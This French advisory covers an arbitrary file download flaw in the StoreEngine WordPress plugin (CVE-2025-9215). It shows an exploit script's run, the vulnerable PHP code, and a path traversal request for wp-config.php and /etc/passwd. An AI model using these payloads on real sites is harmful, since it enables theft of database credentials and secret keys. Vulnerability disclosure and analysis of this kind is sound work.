
StoreEngine – Puissant plugin eCommerce WordPress pour paiements, adhésions, affiliés, ventes et plus <= 1.4.0 - Authentifié (Abonné+) Téléchargement arbitraire de fichier
Le plugin StoreEngine contient une vulnérabilité dans sa fonctionnalité d'import/export CSV qui permet à tout utilisateur authentifié (abonné, auteur, éditeur, etc.) de télécharger des fichiers arbitraires depuis le serveur, y compris des fichiers système sensibles, des fichiers de configuration WordPress et le code source du plugin. La vulnérabilité provient du fait que le point de terminaison storeengine_csv/file_download manque d'une bonne assainissement de chemin et repose uniquement sur la vérification du nonce pour la sécurité, tandis que le storeengine_nonce est exposé à TOUS les utilisateurs front-end via le JavaScript du plugin. Remarque : Cette vulnérabilité nécessite que le module complémentaire d'import/export CSV soit activé par un administrateur. Une fois activé, cette combinaison permet à tout utilisateur authentifié d'extraire le nonce des pages front-end et de l'utiliser pour télécharger n'importe quel fichier sur le serveur via des attaques de traversée de chemin, donnant ainsi aux utilisateurs abonnés+ un accès à des fichiers système et applicatifs sensibles.
python3 ./CVE-2025-9215.py http://localhost:1337 user1 password
Connexion à : http://localhost:1337/wp-admin
REMARQUE : Cet exploit fonctionne avec tout utilisateur authentifié (abonné, auteur, éditeur, etc.)
Extraction du nonce depuis les scripts front-end (accessible à tout utilisateur)...
storeengine_nonce: 82cb37f678
REMARQUE : Ce nonce est exposé à TOUS les utilisateurs front-end, rendant la vulnérabilité exploitable par tout utilisateur authentifié !
REMARQUE : Le module complémentaire d'import/export CSV doit être activé par un administrateur avant exploitation.
Cet exploit démontre la vulnérabilité une fois que le module complémentaire est déjà activé.
L'activation du module complémentaire nécessite la capacité 'manage_options' (administrateur uniquement).
Téléchargement de wp-config.php via traversée de chemin...
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
...
...
...
Remarque : Cette vulnérabilité nécessite que le module complémentaire d'import/export CSV soit activé par un administrateur. Le point de terminaison d'activation du module complémentaire (storeengine/saved_addon_status) nécessite la capacité manage_options, ce qui signifie que seuls les administrateurs peuvent activer cette fonctionnalité.
L'action AJAX storeengine_csv/file_download appelle la fonction file_download() à la ligne 47 du fichier /wp-content/plugins/storeengine/addons/csv/ajax/export.php, qui manque d'une bonne assainissement de chemin et permet des téléchargements de fichiers arbitraires :
public function file_download( array $payload ) {
if ( ! isset( $payload['filename'] ) ) {
wp_send_json_error( __( 'Filename is required.', 'storeengine' ) );
}
$filename = $payload['filename'];
$filepath = Helper::get_upload_dir() . '/csv/' . $filename; // <-- VULNÉRABLE À LA TRAVERSÉE DE CHEMIN !
// AUCUNE VÉRIFICATION DE CAPACITÉ - TOUT UTILISATEUR PEUT TÉLÉCHARGER N'IMPORTE QUEL FICHIER !
// AUCUNE ASSAINISSEMENT DE CHEMIN - LA CONCATÉNATION DIRECTE PERMET DES ATTAQUES ../ !
if ( ! file_exists( $filepath ) ) {
wp_send_json_error( __( 'File not found.', 'storeengine' ) );
}
header( 'Content-Type: application/octet-stream' );
header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
readfile( $filepath ); // <-- LIT ET AFFICHE N'IMPORTE QUEL FICHIER !
exit;
}
La construction de chemin vulnérable permet une traversée de chemin complète :
// Helper::get_upload_dir() retourne :
$upload = wp_upload_dir();
return $upload['basedir'] . '/storeengine_uploads';
// Donc le chemin complet devient :
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/' . $filename;
// Avec traversée de chemin, cela devient :
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../wp-config.php'
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../../../../etc/passwd'
Le storeengine_nonce est exposé à TOUS les utilisateurs front-end via le JavaScript du plugin. Cela se produit dans la méthode _get_script_data() à la ligne 279 du fichier /wp-content/plugins/storeengine/includes/assets.php :
public function _get_script_data(): array {
// ... autres données ...
return [
'nonce' => wp_create_nonce( 'wp_rest' ),
'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Ligne 279 - EXPOSÉ À TOUS LES UTILISATEURS
'rest_url' => esc_url_raw( rest_url() ),
// ... autres données ...
];
}
Ce nonce est ensuite localisé dans le JavaScript front-end via la méthode frontend_scripts() à la ligne 120 :
wp_localize_script(
'storeengine-frontend-scripts',
'StoreEngineGlobal',
$this->get_frontend_script_data() // Appelle _get_script_data()
);
Le nonce est vérifié dans la méthode AbstractRequestHandler::check_permission() à la ligne 510 du fichier /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php :
protected function check_permission( string $capability, bool $allow_visitors = false ) {
if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
return new WP_Error(/* ... */);
}
return true;
}
Cette combinaison permet à tout utilisateur authentifié de contourner la protection CSRF et de télécharger n'importe quel fichier sur le serveur, y compris des fichiers de configuration sensibles, du code source et potentiellement des fichiers système.
/wp-admin/admin-ajax.php appelant l'action storeengine_csv/file_download.filename=../../../../wp-config.php pour télécharger le fichier de configuration WordPress.